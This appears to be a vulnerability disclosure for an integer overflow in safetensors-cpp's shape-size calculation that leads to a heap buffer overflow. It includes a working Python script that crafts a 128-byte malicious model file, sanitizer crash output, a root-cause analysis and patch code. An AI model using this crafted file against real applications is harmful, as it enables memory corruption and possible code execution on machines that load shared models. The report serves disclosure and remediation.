# Integer Overflow in safetensors-cpp Enables Heap Buffer Overflow via Malicious Model Files

## Summary

I found an integer overflow vulnerability in safetensors-cpp's `get_shape_size()` function that enables a heap buffer overflow when loading a crafted `.safetensors` model file. The function multiplies tensor shape dimensions using unchecked `size_t` arithmetic, allowing dimensions to overflow to a small value that passes all validation checks. The reference Rust implementation correctly uses `checked_mul` and rejects such files with `SafeTensorError::ValidationOverflow`.

A 128-byte malicious `.safetensors` file passes safetensors-cpp's `load_from_memory()` and `validate_data_offsets()` without error. Any consuming application that uses the shape dimensions for buffer allocation or iteration will experience a heap buffer overflow. This was confirmed with AddressSanitizer.

## Attack Preconditions

1. The target application uses safetensors-cpp to load `.safetensors` model files
2. The application accepts model files from untrusted sources (e.g., Hugging Face Hub, user uploads, shared model repositories)
3. The application uses tensor shape dimensions for buffer allocation, iteration, or processing (standard behavior for ML frameworks)

## Steps to Reproduce

### 1. Create the malicious safetensors file

```python
# craft_overflow.py
import json, struct

shape = [4194305, 4194305, 211106198978564]
# True product: ~3.7e27, overflows uint64 to exactly 4
# With F32 (4 bytes): tensor_size = 16

header = {"overflow_tensor": {"dtype": "F32", "shape": shape, "data_offsets": [0, 16]}}
header_json = json.dumps(header, separators=(',', ':'))
header_bytes = header_json.encode('utf-8')
pad_len = (8 - len(header_bytes) % 8) % 8
header_bytes += b' ' * pad_len

with open("overflow_tensor.safetensors", "wb") as f:
    f.write(struct.pack('<Q', len(header_bytes)) + header_bytes + b"\x41" * 16)
```

### 2. Verify the Rust reference implementation rejects it

```python
from safetensors import safe_open
safe_open("overflow_tensor.safetensors", framework="numpy")
# Raises: SafetensorError: Error while deserializing header: ValidationOverflow
```

### 3. Verify safetensors-cpp accepts it

Compile the test program:
```bash
g++ -std=c++17 -DSAFETENSORS_CPP_IMPLEMENTATION -I safetensors-cpp -o test_overflow test_overflow.cc
./test_overflow overflow_tensor.safetensors
```

Output:
```
[+] load_from_memory SUCCEEDED (file parsed without error)
[*] validate_data_offsets: PASSED
    get_shape_size() = 4  (OVERFLOWED! True value: ~3.7e27)
    tensor_size = 4 * 4 = 16
    tensor_size == data_size? YES (validation passes!)
```

### 4. Demonstrate heap buffer overflow with ASan

```bash
g++ -std=c++17 -DSAFETENSORS_CPP_IMPLEMENTATION -fsanitize=address -g \
    -I safetensors-cpp -o crash_overflow crash_overflow.cc
./crash_overflow overflow_tensor.safetensors
```

Output:
```
[+] File loaded and validated successfully
Processing tensor 'overflow_tensor':
  Allocating buffer: 16 bytes
  Shape claims 4194305 x 4194305 x 211106198978564 = way more than 4 elements
  Iterating shape[0]=4194305 elements (but buffer only has 4)...

==33302==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000001a0
WRITE of size 4 at 0x6020000001a0 thread T0
0x6020000001a0 is located 0 bytes after 16-byte region [0x602000000190,0x6020000001a0)
SUMMARY: AddressSanitizer: heap-buffer-overflow crash_overflow.cc:69
```

## Root Cause Analysis

The vulnerability is in `safetensors.hh` in the `get_shape_size()` function (line ~4616):

```cpp
size_t get_shape_size(const tensor_t &t) {
  // ...
  size_t sz = 1;
  for (size_t i = 0; i < t.shape.size(); i++) {
    sz *= t.shape[i];   // UNCHECKED MULTIPLICATION - can silently overflow
  }
  return sz;
}
```

A second unchecked multiplication occurs in `validate_data_offsets()` (line ~4666):

```cpp
size_t tensor_size = get_dtype_bytes(tensor.dtype) * get_shape_size(tensor);
```

The reference Rust implementation uses safe arithmetic that detects overflow:

```rust
let nelements: usize = info.shape.iter().copied()
    .try_fold(1usize, usize::checked_mul)
    .ok_or(SafeTensorError::ValidationOverflow)?;
```

### Why the overflow works

The crafted shape `[4194305, 4194305, 211106198978564]` produces:
- True product: 3,713,821,298,447,761,542,108,676,100 (~3.7 x 10^27)
- `uint64` maximum: 18,446,744,073,709,551,615 (~1.8 x 10^19)
- After overflow (mod 2^64): exactly **4**

All three values are below 2^53 (9,007,199,254,740,992), ensuring they are exactly representable as JSON double-precision numbers and survive parsing without precision loss.

With F32 dtype (4 bytes per element): `tensor_size = 4 * 4 = 16 bytes`
Setting `data_offsets = [0, 16]` makes `tensor_size == data_size`, so validation passes.

## Remediation

Add overflow checking to `get_shape_size()`:

```cpp
size_t get_shape_size(const tensor_t &t) {
  if (t.shape.empty()) return 1;
  if (t.shape.size() >= kMaxDim) return 0;

  size_t sz = 1;
  for (size_t i = 0; i < t.shape.size(); i++) {
    if (t.shape[i] != 0 && sz > SIZE_MAX / t.shape[i]) {
      return 0;  // overflow would occur
    }
    sz *= t.shape[i];
  }
  return sz;
}
```

Also add overflow checking in `validate_data_offsets()` for the `dtype_bytes * shape_size` multiplication:

```cpp
size_t shape_size = get_shape_size(tensor);
size_t dtype_bytes = get_dtype_bytes(tensor.dtype);
if (shape_size != 0 && dtype_bytes > SIZE_MAX / shape_size) {
    ss << "Tensor size overflow for '" << key << "'\n";
    valid = false;
    continue;
}
size_t tensor_size = dtype_bytes * shape_size;
```

## References

- safetensors-cpp: https://github.com/syoyo/safetensors-cpp
- Rust reference (with checked_mul): https://github.com/huggingface/safetensors/blob/main/safetensors/src/tensor.rs
- Trail of Bits audit of safetensors: https://huggingface.co/docs/safetensors/en/audit_results
- CWE-190: Integer Overflow or Wraparound: https://cwe.mitre.org/data/definitions/190.html

## Impact

This vulnerability allows an attacker to craft a malicious `.safetensors` model file that:

1. **Passes all validation** in safetensors-cpp (load + validate_data_offsets)
2. **Is rejected** by the Rust reference implementation (cross-implementation differential)
3. **Causes heap buffer overflow** in any consuming application that uses shape dimensions for memory operations

The attack surface is significant because `.safetensors` is the primary model format for Hugging Face models. Any C++ application loading models from untrusted sources (model hubs, user uploads, federated learning) is vulnerable. The malicious file is only 128 bytes and indistinguishable from a legitimate safetensors file without overflow-aware validation.

Severity: **High** (CWE-190 leading to heap overflow / potential RCE in C++ applications)